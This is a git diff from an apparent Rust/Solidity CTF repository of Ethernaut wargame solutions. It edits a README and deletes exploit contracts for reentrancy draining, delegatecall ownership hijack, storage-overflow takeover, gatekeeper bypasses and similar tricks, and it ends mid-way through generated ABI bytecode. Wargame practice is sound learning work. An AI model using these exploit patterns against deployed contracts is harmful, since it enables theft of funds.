diff --git a/README.md b/README.md index 2cf7d3f..c057330 100644 --- a/README.md +++ b/README.md @@ -1,13 +1,3 @@ -1. bind-attack -2. cargo test -p attack -- --nocapture -3. deploy-levels (перед этим анвил остановить, который крутит блокчейн) //нужно, если set up изменена - ps axu | grep anvil - anvil --steps-tracing --state state.json - -4. cargo build (если удалить папку target) //не трогать - -cast disassemble /ввести байткод/ - # DEX OFFENDER A compilation of smart contract wargames (currently only Ethernaut and DamnVulnerableDeFi). You can find the levels in `./contracts/$GAME_NAME` and add your solution to `./attack/src/$GAME_NAME/hack*.rs`. @@ -108,7 +98,7 @@ impl ctf::Exploit for Exploit { // This is how you "connect" to a deployed contract. You can see how it was deployed // in ./ctf/src/ethernaut/lvl01_fallback.rs let contract = - Fallback::new(target.address, offender.clone()); + Fallback::new(target.contract_address, offender.clone()); // This is how you call a contract function with no arguments: contract.contribute().value(1).send().await?.await?; @@ -132,7 +122,7 @@ impl ctf::Exploit for Exploit { If you then run `cargo test -p attack -- --nocapture` you should see something like this -```text +``` text $ cargo test -p attack -- --nocapture Compiling attack v0.1.0 (/home/gleb/code/0xgleb/data-cartel/dex-offender/attack) Finished test [unoptimized + debuginfo] target(s) in 6.83s @@ -171,7 +161,7 @@ test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; fini If you're using the dev container then you already have a local blockchain running in one of the VS code terminals. If not, you can start it by running `anvil`. I would recommend turning on tracing to make debugging easier. -```sh +``` sh anvil --steps-tracing --load-state state.json ``` @@ -320,7 +310,7 @@ $ cast rpc trace_transaction 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22 This is hard to read. Let's pipe it thorugh `jq`. -```sh +``` sh $ cast rpc trace_transaction 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635 | jq . [ { diff --git a/attack/contracts/ethernaut/AlienCodexExploit.sol b/attack/contracts/ethernaut/AlienCodexExploit.sol deleted file mode 100644 index b0057fe..0000000 --- a/attack/contracts/ethernaut/AlienCodexExploit.sol +++ /dev/null @@ -1,48 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.5.0; - -import "../../../ctf/contracts/ethernaut/helpers/Ownable-05.sol"; - -contract AlienCodex is Ownable { - bool public contact; - bytes32[] public codex; - - modifier contacted() { - assert(contact); - _; - } - - function makeContact() public { - contact = true; - } - - function record(bytes32 _content) public contacted { - codex.push(_content); - } - - function retract() public contacted { - codex.length--; - } - - function revise(uint256 i, bytes32 _content) public contacted { - codex[i] = _content; - } -} - -contract HumanIsStronger { - address public owner; - AlienCodex original; - - constructor(address payable _to) public { - owner = msg.sender; - original = AlienCodex(_to); - } - - uint256 overflow = uint256(-1) - uint256(keccak256(abi.encode(1))) + 1; - - function boom(address offender) public { - original.makeContact(); - original.retract(); - original.revise(overflow, bytes32(uint256(uint160(offender)))); - } -} diff --git a/attack/contracts/ethernaut/CoinFlipExploit.sol b/attack/contracts/ethernaut/CoinFlipExploit.sol deleted file mode 100644 index 67335a9..0000000 --- a/attack/contracts/ethernaut/CoinFlipExploit.sol +++ /dev/null @@ -1,60 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -/** - * @title Ethernaut Level 3: CoinFlip - * - * This is a coin flipping game where you need to build up your winning streak by - * guessing the outcome of a coin flip. To complete this target you'll need to - * use your psychic abilities to guess the correct outcome 10 times in a row. - */ -contract CoinFlip { - uint256 public consecutiveWins; - uint256 lastHash; - uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; - - constructor() { - consecutiveWins = 0; - } - - function flip(bool _guess) public returns (bool) { - uint256 blockValue = uint256(blockhash(block.number - 1)); - - if (lastHash == blockValue) { - revert(); - } - - lastHash = blockValue; - uint256 coinFlip = blockValue / FACTOR; - bool side = coinFlip == 1 ? true : false; - - if (side == _guess) { - consecutiveWins++; - return true; - } else { - consecutiveWins = 0; - return false; - } - } -} - -contract HackCoinFlip { - CoinFlip public coinContract; - uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; - - constructor(address _coin) { - coinContract = CoinFlip(_coin); - } - - function guess() public { - uint256 blockValue = uint256(blockhash(block.number - 1)); - uint256 coinFlip = blockValue / FACTOR; - bool side = coinFlip == 1 ? true : false; - - if (side == true) { - coinContract.flip(true); - } else { - coinContract.flip(false); - } - } -} diff --git a/attack/contracts/ethernaut/DenialExploit.sol b/attack/contracts/ethernaut/DenialExploit.sol deleted file mode 100644 index ad617a3..0000000 --- a/attack/contracts/ethernaut/DenialExploit.sol +++ /dev/null @@ -1,65 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -/** - * @title Ethernaut Level 20: Denial - * - * This is a simple wallet that drips funds over time. You can withdraw the - * funds slowly by becoming a withdrawing partner. - * - * If you can deny the owner from withdrawing funds when they call withdraw() - * (whilst the contract still has funds, and the transaction is of 1M gas or less) - * you will win this level. - */ -contract Denial { - address public partner; // withdrawal partner - pay the gas, split the withdraw - address public constant owner = address(0xA9E); - uint256 timeLastWithdrawn; - mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances - - function setWithdrawPartner(address _partner) public { - partner = _partner; - } - - // withdraw 1% to recipient and 1% to owner - function withdraw() public { - uint256 amountToSend = address(this).balance / 100; - // perform a call without checking return - // The recipient can revert, the owner will still get their share - partner.call{value: amountToSend}(""); - payable(owner).transfer(amountToSend); - // keep track of last withdrawal time - timeLastWithdrawn = block.timestamp; - withdrawPartnerBalances[partner] += amountToSend; - } - - // allow deposit of funds - receive() external payable {} - - // convenience function - function contractBalance() public view returns (uint256) { - return address(this).balance; - } -} - -contract InfiniteCalculation { - address public owner; - Denial original; - - constructor(address payable _to) { - owner = msg.sender; - original = Denial(_to); - } - - function boom() public { - original.setWithdrawPartner(address(this)); - } - - fallback() external payable { - assembly { - invalid() - } - } - - receive() external payable {} -} diff --git a/attack/contracts/ethernaut/ElevatorExploit.sol b/attack/contracts/ethernaut/ElevatorExploit.sol deleted file mode 100644 index 2d144f5..0000000 --- a/attack/contracts/ethernaut/ElevatorExploit.sol +++ /dev/null @@ -1,44 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -interface Building { - function isLastFloor(uint256) external returns (bool); -} - -contract Elevator { - bool public top; - uint256 public floor; - - function goTo(uint256 _floor) public { - Building building = Building(msg.sender); - - if (!building.isLastFloor(_floor)) { - floor = _floor; - top = building.isLastFloor(floor); - } - } -} - -contract BuildingContract is Building { - address public owner; - Elevator public original; - bool is_first = true; - - constructor(address payable _to) { - owner = msg.sender; - original = Elevator(_to); - } - - function gogo() public { - original.goTo(666); - } - - function isLastFloor(uint256) public returns (bool) { - if (is_first) { - is_first = false; - return false; - } else { - return true; - } - } -} diff --git a/attack/contracts/ethernaut/ForceExploit.sol b/attack/contracts/ethernaut/ForceExploit.sol deleted file mode 100644 index 8c59d9a..0000000 --- a/attack/contracts/ethernaut/ForceExploit.sol +++ /dev/null @@ -1,40 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -/** - * @title Ethernaut Level 7: Force - * - * Some contracts will simply not take your money ¯\_(ツ)_/¯ - * - * The goal of this level is to make the balance of the contract greater than zero. - * - * Things that might help: - * - Fallback methods - * - Sometimes the best way to attack a contract is with another contract. - */ -contract Force { /* - MEOW ? - /\_/\ / - ____/ o o \ - /~____ =ø= / - (______)__m_m) - */ } - -contract MoneyGiver { - address public owner; - uint256 public balance = 0; - address payable forceAddress; - - constructor(address _forceAddress) { - owner = msg.sender; - forceAddress = payable(_forceAddress); - } - - function deposit() external payable { - balance += msg.value; - } - - function boom() public payable { - selfdestruct(forceAddress); - } -} diff --git a/attack/contracts/ethernaut/GatekeeperOneExploit.sol b/attack/contracts/ethernaut/GatekeeperOneExploit.sol deleted file mode 100644 index 90e4788..0000000 --- a/attack/contracts/ethernaut/GatekeeperOneExploit.sol +++ /dev/null @@ -1,62 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -/** - * @title Ethernaut Level 13: Gatekeeper One - * - * Make it past the gatekeeper and register as an entrant to pass this level. - * - * Things that might help: - * - Remember what you've learned from the Telephone and Token levels. - * - You can learn more about the gasleft() function in Solidity documentation. - */ -contract GatekeeperOne { - address public entrant; - - modifier gateOne() { - require(msg.sender != tx.origin); - _; - } - - modifier gateTwo() { - require(gasleft() % 8191 == 0); - _; - } - - modifier gateThree(bytes8 _gateKey) { - //первые 4 байта(первые 16 байт) == первые 2 байта (первые 16 байт) - //uint64(bytes 8) -- конвертирует 8 байт в число без потери и приобритения данных, потому что uint64 = 2^64 = (2^8)^8 - //uint32(uint64) -- обрубает первые 4 байта информации, то есть мы получаем только последние 4 байта от bytes8 - //uint16(uint64) -- обрубает первые 6 байтов, выходит 2 последних - //uint160 = 20 байт = длина адреса в эфире - //первые 4 байта != первым 16 байтам - require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); - require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); - require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); - _; - } - - function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { - entrant = tx.origin; - return true; - } -} - -contract LetMeIn { - address public owner; - GatekeeperOne public original; - - constructor(address payable _to) { - owner = msg.sender; - original = GatekeeperOne(_to); - } - - function go_inside(address aublyat) public payable returns (bool) { - bytes8 key = bytes8(0x0101010100000000 + uint16(uint160(aublyat))); - for (uint256 i = 0; i <= 8191; i++) { - try original.enter{gas: 800000 + i}(key) { - return true; - } catch {} - } - } -} diff --git a/attack/contracts/ethernaut/GatekeeperTwoExploit.sol b/attack/contracts/ethernaut/GatekeeperTwoExploit.sol deleted file mode 100644 index cf75584..0000000 --- a/attack/contracts/ethernaut/GatekeeperTwoExploit.sol +++ /dev/null @@ -1,42 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -contract GatekeeperTwo { - address public entrant; - - modifier gateOne() { - require(msg.sender != tx.origin); - _; - } - - modifier gateTwo() { - uint256 x; - assembly { - x := extcodesize(caller()) - } - require(x == 0); - _; - } - - modifier gateThree(bytes8 _gateKey) { - require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); - _; - } - - function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { - entrant = tx.origin; - return true; - } -} - -contract LetMeInAgain { - address public owner; - GatekeeperTwo public original; - - constructor(address payable _to) { - owner = msg.sender; - bytes8 key = bytes8(keccak256(abi.encodePacked(this))) ^ 0xFFFFFFFFFFFFFFFF; //^ type(uint64).max - original = GatekeeperTwo(_to); - original.enter(key); - } -} diff --git a/attack/contracts/ethernaut/KingExploit.sol b/attack/contracts/ethernaut/KingExploit.sol deleted file mode 100644 index a305879..0000000 --- a/attack/contracts/ethernaut/KingExploit.sol +++ /dev/null @@ -1,61 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -/** - * @title Ethernaut Level 9: King - * - * The contract below represents a very simple game: whoever sends it an amount - * of ether that is larger than the current prize becomes the new king. On such - * an event, the overthrown king gets paid the new prize, making a bit of ether - * in the process! As ponzi as it gets xD - * - * Such a fun game. Your goal is to break it. - * - * When you submit the instance back to the level, the level is going to reclaim - * kingship. You will beat the level if you can avoid such a self proclamation. - */ -contract King { - address king; - uint256 public prize; - address public owner; - - constructor() payable { - owner = msg.sender; - king = msg.sender; - prize = msg.value; - } - - receive() external payable { - require(msg.value >= prize || msg.sender == owner); - payable(king).transfer(msg.value); - king = msg.sender; - prize = msg.value; - } - - function _king() public view returns (address) { - return king; - } -} - -contract KingHack { - address public owner; - address payable forceAddress; - - constructor(address _forceAddress) { - owner = msg.sender; - forceAddress = payable(_forceAddress); - } - - function give_money() public payable { - /*Just money*/ - } - - function to_be_the_king(address payable who) public payable { - (bool sent, bytes memory data) = who.call{value: msg.value}(""); - require(sent, "Failed to send Ether"); - } - - receive() external payable { - require(false, "I don't need your dirty money"); - } -} diff --git a/attack/contracts/ethernaut/MagicNumberExploit.sol b/attack/contracts/ethernaut/MagicNumberExploit.sol deleted file mode 100644 index 17117e3..0000000 --- a/attack/contracts/ethernaut/MagicNumberExploit.sol +++ /dev/null @@ -1,53 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -contract MagicNum { - address public solver; - - constructor() {} - - function setSolver(address _solver) public { - solver = _solver; - } - - /* - ____________/\\\_______/\\\\\\\\\_____ - __________/\\\\\_____/\\\///////\\\___ - ________/\\\/\\\____\///______\//\\\__ - ______/\\\/\/\\\______________/\\\/___ - ____/\\\/__\/\\\___________/\\\//_____ - __/\\\\\\\\\\\\\\\\_____/\\\//________ - _\///////////\\\//____/\\\/___________ - ___________\/\\\_____/\\\\\\\\\\\\\\\_ - ___________\///_____\///////////////__ - */ -} - -contract N { - //function whatIsTheMeaningOfLife() public returns(uint){ - // return 42; - // заменяем на ассемблер - // assembly { - // mstore(0x00, 0x2a) // 42 в нулевой ячейке памяти - // return(0x00, 0x20) // возвращает из нулевой ячейки памяти хуйню длинны 0x20 (тридцать два) - // } - //} - // 0x60 -- пушит в память - // 0x52 -- запоминает в память - // 0xF3 -- ретёрн, ёпта - // - // 0x602a -- пушу 42 в память - // 0x6000 -- пушу место в памяти - // 0x52 -- запоминаю эту команду - // 0x6020 -- пушу размер куска памяти c числом (32) - // 0x6000 -- пушу место в памяти (0) - // 0xF3 -- возвращаю все это - // 0x602a60005260206000f3 -- итог (ровно 10 байт, ёпта) - // - constructor() { - assembly { - mstore(0x00, 0x602a60005260206000f3) // пушу всю команду в память - return(0x00, 0x0a) //возвращаю команду - } - } -} diff --git a/attack/contracts/ethernaut/NaughtCoinExploit.sol b/attack/contracts/ethernaut/NaughtCoinExploit.sol deleted file mode 100644 index 4244e68..0000000 --- a/attack/contracts/ethernaut/NaughtCoinExploit.sol +++ /dev/null @@ -1,48 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; - -contract NaughtCoin is ERC20 { - // string public constant name = 'NaughtCoin'; - // string public constant symbol = '0x0'; - // uint public constant decimals = 18; - uint256 public timeLock = block.timestamp + 10 * 365 days; - uint256 public INITIAL_SUPPLY; - address public player; - - constructor(address _player) ERC20("NaughtCoin", "0x0") { - player = _player; - INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals())); - // _totalSupply = INITIAL_SUPPLY; - // _balances[player] = INITIAL_SUPPLY; - _mint(player, INITIAL_SUPPLY); - emit Transfer(address(0), player, INITIAL_SUPPLY); - } - - function transfer(address _to, uint256 _value) public override lockTokens returns (bool) { - super.transfer(_to, _value); - } - - // Prevent the initial owner from transferring tokens until the timelock has passed - modifier lockTokens() { - if (msg.sender == player) { - require(block.timestamp > timeLock); - _; - } else { - _; - } - } -} - -contract Offshore { - address public owner; - - constructor() { - owner = msg.sender; - } - - function balance() public view returns (uint256 balanceee) { - return address(this).balance; - } -} diff --git a/attack/contracts/ethernaut/PreservationExploit.sol b/attack/contracts/ethernaut/PreservationExploit.sol deleted file mode 100644 index 96e2d27..0000000 --- a/attack/contracts/ethernaut/PreservationExploit.sol +++ /dev/null @@ -1,60 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -contract Preservation { - // public library contracts - address public timeZone1Library; - address public timeZone2Library; - address public owner; - uint256 storedTime; - // Sets the function signature for delegatecall - bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); - - constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { - timeZone1Library = _timeZone1LibraryAddress; - timeZone2Library = _timeZone2LibraryAddress; - owner = msg.sender; - } - - // set the time for timezone 1 - function setFirstTime(uint256 _timeStamp) public { - timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); - } - - // set the time for timezone 2 - function setSecondTime(uint256 _timeStamp) public { - timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); - } -} - -// Simple library contract to set the time -contract LibraryContract { - // stores a timestamp - uint256 storedTime; - - function setTime(uint256 _time) public { - storedTime = _time; - } -} - -contract IAmTrueLibraryContractPleaseBelieveMe { - address public timeZone1Library; - address public timeZone2Library; - address public owner; - - constructor() { - owner = msg.sender; - } - - Preservation preservation; - - function boom(address contr, address own) public { - preservation = Preservation(contr); - preservation.setFirstTime(uint256(uint160(address(this)))); - preservation.setFirstTime(uint256(uint160(own))); - } - - function setTime(uint256 _time) public { - owner = address(uint160(_time)); - } -} diff --git a/attack/contracts/ethernaut/RecoveryExploit.sol b/attack/contracts/ethernaut/RecoveryExploit.sol deleted file mode 100644 index fd0d3c9..0000000 --- a/attack/contracts/ethernaut/RecoveryExploit.sol +++ /dev/null @@ -1,62 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -/** - * @title Ethernaut Level 17: Recovery - * - * A contract creator has built a very simple token factory contract. - * Anyone can create new tokens with ease. After deploying the first - * token contract, the creator sent `0.001` ether to obtain more tokens. - * They have since lost the contract address. - * - * This level will be completed if you can recover (or remove) the `0.001` - * ether from the lost contract address. - */ -contract Recovery { - //generate tokens - function generateToken(string memory _name, uint256 _initialSupply) public { - new SimpleToken(_name, msg.sender, _initialSupply); - } -} - -contract SimpleToken { - string public name; - mapping(address => uint256) public balances; - - // constructor - constructor(string memory _name, address _creator, uint256 _initialSupply) { - name = _name; - balances[_creator] = _initialSupply; - } - - // collect ether in return for tokens - receive() external payable { - balances[msg.sender] = msg.value * 10; - } - - // allow transfers of tokens - function transfer(address _to, uint256 _amount) public { - require(balances[msg.sender] >= _amount); - balances[msg.sender] = balances[msg.sender] - _amount; - balances[_to] = _amount; - } - - // clean up after ourselves - function destroy(address payable _to) public { - selfdestruct(_to); - } -} - -contract FindToken { - address public owner; - - constructor() { - owner = msg.sender; - } - - function boom(address creator, address payable offender) public { - address token = - address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), creator, bytes1(0x01)))))); - SimpleToken(payable(token)).destroy(offender); - } -} diff --git a/attack/contracts/ethernaut/ReentrancyExploit.sol b/attack/contracts/ethernaut/ReentrancyExploit.sol deleted file mode 100644 index 2bdd7ce..0000000 --- a/attack/contracts/ethernaut/ReentrancyExploit.sol +++ /dev/null @@ -1,40 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.6.12; - -interface Reentrance { - function donate(address _to) external payable; - - function balanceOf(address _who) external view returns (uint256 balance); - - function withdraw(uint256 _amount) external; -} - -contract RepeatPlease { - address public owner; - Reentrance public original; - uint256 public amount = 9003000000000000001; - - constructor(address payable _to) public { - owner = msg.sender; - original = Reentrance(_to); - } - - function give_money() public payable { - /*Just money*/ - } - - function donate() public { - original.donate{value: amount, gas: 400000}(address(this)); - original.withdraw(amount); - } - - function balance() public view returns (uint256 balanceee) { - return address(original).balance; - } - - receive() external payable { - if (address(original).balance != 0) { - original.withdraw(amount); - } - } -} diff --git a/attack/contracts/ethernaut/ShopExploit.sol b/attack/contracts/ethernaut/ShopExploit.sol deleted file mode 100644 index 758c93c..0000000 --- a/attack/contracts/ethernaut/ShopExploit.sol +++ /dev/null @@ -1,49 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; -/* -Сan you get the item from the shop for less than the price asked? - -Things that might help: -> Shop expects to be used from a Buyer -> Understanding restrictions of view functions -*/ - -interface Buyer { - function price() external view returns (uint256); -} - -contract Shop { - uint256 public price = 100; - bool public isSold; - - function buy() public { - Buyer _buyer = Buyer(msg.sender); - - if (_buyer.price() >= price && !isSold) { - isSold = true; - price = _buyer.price(); - } - } -} - -contract Cheaper is Buyer { - address public owner; - Shop public original; - - constructor(address payable _to) { - owner = msg.sender; - original = Shop(_to); - } - - function price() external view returns (uint256) { - if (original.isSold() == false) { - return 101; - } else { - return 1; - } - } - - function boom() public { - original.buy(); - } -} diff --git a/attack/contracts/ethernaut/TelephoneExploit.sol b/attack/contracts/ethernaut/TelephoneExploit.sol deleted file mode 100644 index be1a55c..0000000 --- a/attack/contracts/ethernaut/TelephoneExploit.sol +++ /dev/null @@ -1,28 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -/** - * @title Ethernaut Level 4: Telephone - * - * The goal of this level is for you to claim ownership of the instance you are given. - * - * Things that might help - * - Look into Solidity's documentation on the delegatecall low level function, - * how it works, how it can be used to delegate operations to on-chain libraries, - * and what implications it has on execution scope. - * - Fallback methods - * - Method ids - */ -contract Telephone { - address public owner; - - constructor() { - owner = msg.sender; - } - - function changeOwner(address _owner) public { - if (tx.origin != msg.sender) { - owner = _owner; - } - } -} diff --git a/attack/src/abi/alien_codex.rs b/attack/src/abi/alien_codex.rs deleted file mode 100644 index bb4c5a8..0000000 --- a/attack/src/abi/alien_codex.rs +++ /dev/null @@ -1,881 +0,0 @@ -pub use alien_codex::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod alien_codex { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("codex"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("codex"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::FixedBytes( - 32usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bytes32"), - ), - }, - ], - constant: ::core::option::Option::Some(true), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("contact"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("contact"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::Some(true), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("isOwner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("isOwner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::Some(true), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("makeContact"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("makeContact"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::Some(false), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::Some(true), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("record"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("record"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_content"), - kind: ::ethers::core::abi::ethabi::ParamType::FixedBytes( - 32usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bytes32"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::Some(false), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("renounceOwnership"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("renounceOwnership"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::Some(false), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("retract"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("retract"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::Some(false), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("revise"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("revise"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("i"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_content"), - kind: ::ethers::core::abi::ethabi::ParamType::FixedBytes( - 32usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bytes32"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::Some(false), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transferOwnership"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transferOwnership"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("newOwner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::Some(false), - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("OwnershipTransferred"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned( - "OwnershipTransferred", - ), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("previousOwner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("newOwner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ], - anonymous: false, - }, - ], - ), - ]), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static ALIENCODEX_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x06u\x80a\0%`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xBEW`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x11a\0vW\x80c\x94\xBDui\x11a\0[W\x80c\x94\xBDui\x14a\x01UW\x80c\xB5\xC6E\xBD\x14a\x01\x84W\x80c\xF2\xFD\xE3\x8B\x14a\x01\xA1Wa\0\xBEV[\x80c\x8D\xA5\xCB[\x14a\x01\x1CW\x80c\x8F2\xD5\x9B\x14a\x01MWa\0\xBEV[\x80c3\xA8\xC4Z\x11a\0\xA7W\x80c3\xA8\xC4Z\x14a\0\xF0W\x80cG\xF5{2\x14a\x01\x0CW\x80cqP\x18\xA6\x14a\x01\x14Wa\0\xBEV[\x80c\x039\xF3\0\x14a\0\xC3W\x80c2\x8BR\xCB\x14a\0\xE8W[`\0\x80\xFD[a\0\xE6`\x04\x806\x03`@\x81\x10\x15a\0\xD9W`\0\x80\xFD[P\x805\x90` \x015a\x01\xD4V[\0[a\0\xE6a\x02\x16V[a\0\xF8a\x02WV[`@\x80Q\x91\x15\x15\x82RQ\x90\x81\x90\x03` 